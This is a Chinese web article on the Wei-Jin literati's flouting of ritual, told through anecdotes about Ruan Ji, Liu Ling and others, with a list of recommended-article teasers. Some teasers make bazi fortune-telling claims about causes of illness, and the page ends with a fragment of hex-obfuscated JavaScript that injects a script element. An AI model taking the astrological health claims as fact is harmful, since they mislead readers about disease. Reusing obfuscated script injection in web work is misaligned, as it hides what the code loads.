首页 / 好玩的国学 / 魏晋风度:别人笑我太疯癫,我笑别人看不穿!

魏晋风度:别人笑我太疯癫,我笑别人看不穿!

好玩的国学 2020-08-21 19:03

“诗圣”杜甫说起自己的文学追求时说,“语不惊人死不休”,而对于魏晋时代的知识分子来说,他们的人生追求来应该是“行不惊人死不休”。他们鄙视平庸,追求与众不同。摇滚诗人张楚说“孤独的人是可耻的”,而对于魏晋名士们来说,平淡无味的生活是可耻的;循规蹈矩是可耻的;遵守三纲五常繁文缛节更是可耻透顶。魏晋名士们追求惊世骇俗,反对一切禁锢心灵和身体的枷锁,而这个枷锁就是以儒家为中心的伦理,魏晋哲学中把这个叫做“名教”。

魏晋哲学的核心,其实就是要解决自然与“名教”关系的问题。换言之,就是人的本性与礼教的问题,也就是人的个体与社会伦理纲常的矛盾和冲突的问题。

中国文化在本质上是人伦哲学,始终关心我们究竟应该成为一个什么样的人,究竟如何去做人问题。儒家要人做道德高尚有功于社会的“圣人”;道家想要做无为清净,如婴儿般纯净无瑕的,游心于自然游心于世的“神人”“至人”;墨家要做专门利人毫不利己的“雷锋”。在经历了从东汉开始的思想大解放之后,经过儒家与道家思想的浸润与冲突之后,魏晋时代的知识分子,到底想做什么样的人呢?

他们要做与众不同的人,做反抗一切礼法的人。在我们眼里,是“垮掉的一代”“颓废的一代”。这种价值观与西方的嬉皮士相似。嬉皮士在后现代的思潮中,为了反抗技术高度发达、物质极端丰裕、但人的精神受到控制的社会,他们有“回到史前”的冲动,希望在史前时期寻找精神力量。而魏晋思想家阮籍,则提出了“越名教而任自然”的主张,这二者有异曲同工之妙。

嬉皮士们常常在头发上插一朵花,被人称为“花童”,而魏晋名士们更加彻底,干脆裸体与人坦诚相见;嬉皮士们吸毒以获得精神上的满足,魏晋名士们饮酒服药穿着宽袍大袖酣畅淋漓地游走;嬉皮士们搞摇滚音乐,一曲“加州旅馆”成为经典;而名士嵇康临刑前一曲“广陵散”,至今令人心醉神迷。魏晋风度和嬉皮士的最大共同点就在于,勇敢地反传统反世俗反对一切羁绊身体和心灵的东西,他们价值观的天空,写满了自由。

所以说,魏晋是一个充分张扬个性的时代。所谓魏晋风度其实就是高扬自我个性,显示与众不同;魏晋风度就是崇尚美色,最好把自己弄得像女孩子一样花枝招展;他们高度重视身体感官上的快乐。按照学术界的观点,魏晋风度有三个特点,第一是任诞行状;第二是崇尚自我个性超凡脱俗,行为越出位越好;第三重视容貌。长得好看的,赢者通吃;长得难看的,砖头拍死。

“任诞行状”最能代表魏晋风度的核心精神。“任诞行状”就是不受约束,就是放浪形骸,就是以一种傲视人生礼教的姿态的狂妄放荡。在他们看来,一切礼教都是假正经,追求灵魂自由才是真性情。

道教哲学家葛洪曾经充满鄙夷地描写了魏晋时代的精神风貌。他说,魏晋时代流行蓬头垢面衣衫不整,你要是“西装革履”,那就是个俗人。他们常常毫无顾忌地接待客人,朋友见了面,谁要是切磋学问道德,那绝对不入流。客人一见面就称主人是贱奴,主人则称客人是老狗,这样才够味。假如太客气太文雅,那就不够朋友,第二天可能就要断交。真正的兄弟在一起,就要像狐狸一样蹲着,像牛一样饮酒。朋友之间要你争我夺,喝醉的时候你扶墙走,我是墙走我不走,大家酣醉一场,这样才是高人,否则就是俗不可耐。原来,反世俗的枷锁,反人性的羁绊,追求人性的本然,才是人生的真谛。

魏晋时代最不把礼法放在眼里的是阮籍,他专门写了一本《大人先生传》,把遵守礼法的人比成呆在裤裆里的虱子。母亲去世,他照常谈笑自若喝酒吃肉。阮籍有个美少妇的邻居,开个小酒店,那少妇常常当垆酤酒。阮籍和朋友王戎经常到去喝酒,“阮醉,便眠其妇侧”,少妇的丈夫一开始恨不得把阮籍乱刀砍死,后来发现他纯粹是任性而为,绝无他意,也就不以为怪了。

阮籍的嫂子要回娘家了,他却肆无忌惮公然跑去和嫂子告别。有人说他违反礼法,阮籍则说出了那个时代知识分子的心声——“礼岂为我辈设也”!

阮籍不受礼法傲视王侯,只是魏晋时代的一个缩影而已。

刘伶天生爱酒,号称“喝死便埋我”,经常赤身裸体在家里思考人生。

大名士周伯仁在朋友家参加宴会,看见主人的小妾风姿绰约,当场露出自己的丑东西,要和人家做不可描述之事。

一代文坛领袖准皇帝曹丕,因为朋友王粲喜欢听驴叫,竟然在王粲的葬礼上学驴叫。

王平子组织了八个人的“天体艺术团”,没事聚会脱掉衣服喝大酒搞趴体。

名士王忱的老丈人亲人去世,王忱竟然带着一帮朋友坦荡荡赤条条精光光,出现在葬礼上,还郑重其事地围着悲不自禁的老丈人转了三圈,以示哀悼。

魏晋是苦闷的时代,也是中国人的人性思想青春勃发的时代。那些惊世骇俗的、疯狂的甚至是不可理喻的行为,那些你无法想象的叛逆行为,其实都深藏着对命运朝不保夕的焦虑感;隐藏着充分彰显自我的强烈冲动,;隐藏着冲破伦理纲常天花板的叛逆的力量。

这正是“别人笑我太疯癫,我笑别人看不穿”的境界。

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();